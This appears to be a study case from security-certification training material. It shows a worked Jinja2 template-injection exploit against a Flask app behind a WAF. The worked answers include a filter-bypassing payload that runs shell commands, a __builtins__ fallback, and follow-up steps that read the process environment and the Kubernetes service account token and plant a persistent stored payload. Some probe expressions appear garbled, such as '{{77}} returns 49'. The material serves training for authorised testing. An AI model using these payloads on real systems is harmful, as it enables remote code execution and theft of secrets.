HTB CWPE study materials
HTB CWPE study resources

Jinja2 Template Preview Behind a WAF (Pulseboard)

HTB CWPE · Put your knowledge to work in context.

All case studies

Jinja2 Template Preview Behind a WAF (Pulseboard)

Pulseboard is a multi-tenant Flask application that lets each workspace customise the emails it sends to its own customers. Your account is a plain "editor" in a workspace you created during sign-up. Under Settings → Notifications there is a template editor with a live preview: the value you submit is rendered with Flask's render_template_string and the output is shown back to you in the same HTTP response. Input is capped at 300 characters, rendering times out after five seconds, and a WAF sits in front of the app. Probing results: {{77}} returns 49 and {{7'7'}} returns 7777777, so this is Jinja2 and not Twig. {{config}} renders an empty line. Any payload containing two consecutive underscores or a square bracket returns 403 with the header X-Block: rule-1007. {{cycler}}, {{lipsum}} and {{request}} all render their normal object reprs. A colleague confirms the render happens server-side, in a worker running as uid 1000 in a Debian container that shares a pod with the Flask app.

1. {{config}} renders empty and the WAF blocks double underscores and square brackets. Does that mean the environment is sandboxed? What tests would distinguish a sandbox from an output filter, and what do cycler/lipsum/request already tell you?

Read the worked answer

No - and conflating those three things is the mistake the question is testing.

An empty render is what Jinja's default Undefined does. str(Undefined) is the empty string, so {{config}} printing nothing most likely means config is simply not in the template context - i.e. they are building a hand-made context dict rather than using Flask's full render_template_string context processors, which is consistent with {{request}} rendering only if request was passed in explicitly. Confirm with {{config is defined}} (expect False) and {{config|length}} (expect a TypeError/UndefinedError, since Undefined has no length). That test costs nothing and settles it.

A sandbox is a different failure mode. jinja2.sandbox.SandboxedEnvironment intercepts attribute access and raises SecurityError: access to attribute '__class__' of 'str' object is unsafe - you get a loud, specific exception, not silence. So the discriminator is: reach a dunder without typing one and see whether you get a result or a SecurityError.

The WAF filter is a string filter, and it is on the request body. {{cycler}}, {{lipsum}} and {{request}} rendering normally proves the Jinja globals are intact - a sandbox does not remove those. It also proves the renderer has a full Jinja environment, which is the single most important fact here: the globals of lipsum and cycler are the standard jinja2.utils module globals.

So the state of knowledge is: real Jinja2, no evidence of a sandbox, a naive character blacklist, a 300-character ceiling and a 5-second timeout. The next test is to prove you can name a dunder without writing __ - for example {{''|attr(request.args.a)}} with ?a=__class__ in the preview request, or {{'\x5f\x5f'|length}} returning 2 if Jinja decodes escape sequences in string literals. If either works, the blacklist is bypassed and the remaining question is only whether a sandbox answers back.

2. Give a complete payload that reaches os.popen('id') within the 300-character limit and past the underscore/bracket filter, and explain each step of the chain.

Read the worked answer

Primary payload (108 characters, no __, no brackets):

{{lipsum|attr(request.args.a)|attr(request.args.b)('os')|attr(request.args.c)('id')|attr(request.args.d)()}}

submitted in a request whose query string is ?a=__globals__&b=get&c=popen&d=read.

Why each step works.

  • lipsum is a Jinja global (exported from jinja2.utils) that is present in the context because the app wants template authors to be able to use it. It renders, which the setup already confirms.
  • |attr(name) is the filter form of getattr(obj, name). The attribute name is computed at render time from request.args, so the literal characters _, _ never appear in the request body and rule-1007 never fires. |attr also sidesteps the bracket ban, because ['__globals__'] and |attr('__globals__') are equivalent for this purpose.
  • lipsum.__globals__ is the jinja2.utils module namespace, which includes os on any standard install because the module imports it.
  • ('os') uses the fact that Jinja calls the object it just resolved; here |attr('get') yields dict.get, and ('os') supplies the key. |attr('popen')('id') yields the os._wrap_close object, and the trailing () calls read() on it. Note the chain calls read with no arguments inside {{ }}, so the output is printed into the preview response - you see the command output inline, no out-of-band channel needed.

If os is absent from lipsum.__globals__ (hardened image, or a different Jinja version), fall back to builtins in the same style: |attr(request.args.a)('__builtins__') then |attr('__getitem__')('__import__')('os'). Same trick, same filter bypass.

Operational notes. Keep the whole request short - the 300-character cap is on the template, and the four-argument version leaves plenty of room to add 2>&1 or swap id for a longer command. Because rendering times out at five seconds, avoid reverse shells in the payload; a single popen(...).read() returns synchronously and is reliable. And test with id before anything else, so a benign failure is distinguishable from a blocked one.

3. You now have command execution on the preview worker. What are the two or three highest-value things you check first, given it shares a pod with the Flask app, and how does that change the severity of the finding?

Read the worked answer

1. The process environment. cat /proc/self/environ is the cheapest, highest-yield read on a Flask pod. Expect SECRET_KEY, a database URL, S3 or SMTP credentials, and possibly a FLASK_ENV. SECRET_KEY matters most: it lets you forge Flask session cookies for any user, including a platform administrator, without ever touching the database - that converts "editor in my own workspace" into full application takeover and is a materially worse finding than command execution alone in a shared pod. If a database DSN is present, check whether the app's DB user can read the tenants table and whether the worker's credentials are the same as the web process's.

2. The Kubernetes service account token. cat /var/run/secrets/kubernetes.io/serviceaccount/token plus .../namespace and the KUBERNETES_SERVICE_HOST variable. Then query the API server with it and run kubectl auth can-i --list. Default RBAC is usually restrictive, but a token that can read secrets or exec into pods turns a web finding into cluster compromise. Report the actual permissions you obtained, not the theoretical ones.

3. Whether the template is stored and rendered for other tenants. Because this is a notification template, the render most likely happens when mail is sent, not only in the preview. If the stored template is later rendered by the mailer in the same environment, the payload is a persistent backdoor that fires on every send - and if an admin can preview another workspace's templates, it is a stored server-side injection into an admin context. Verify by saving the payload, triggering a real send, and checking whether it executes.

Severity. Confined RCE in a throwaway container is high; RCE that yields the session-signing key, a mounted service account token, or cross-tenant execution is critical, and the difference is decided by the three checks above. Also note the blast radius on the client side of the 300-character limit: it constrains a human writing an exploit, not an attacker who already has a session and can submit the template programmatically.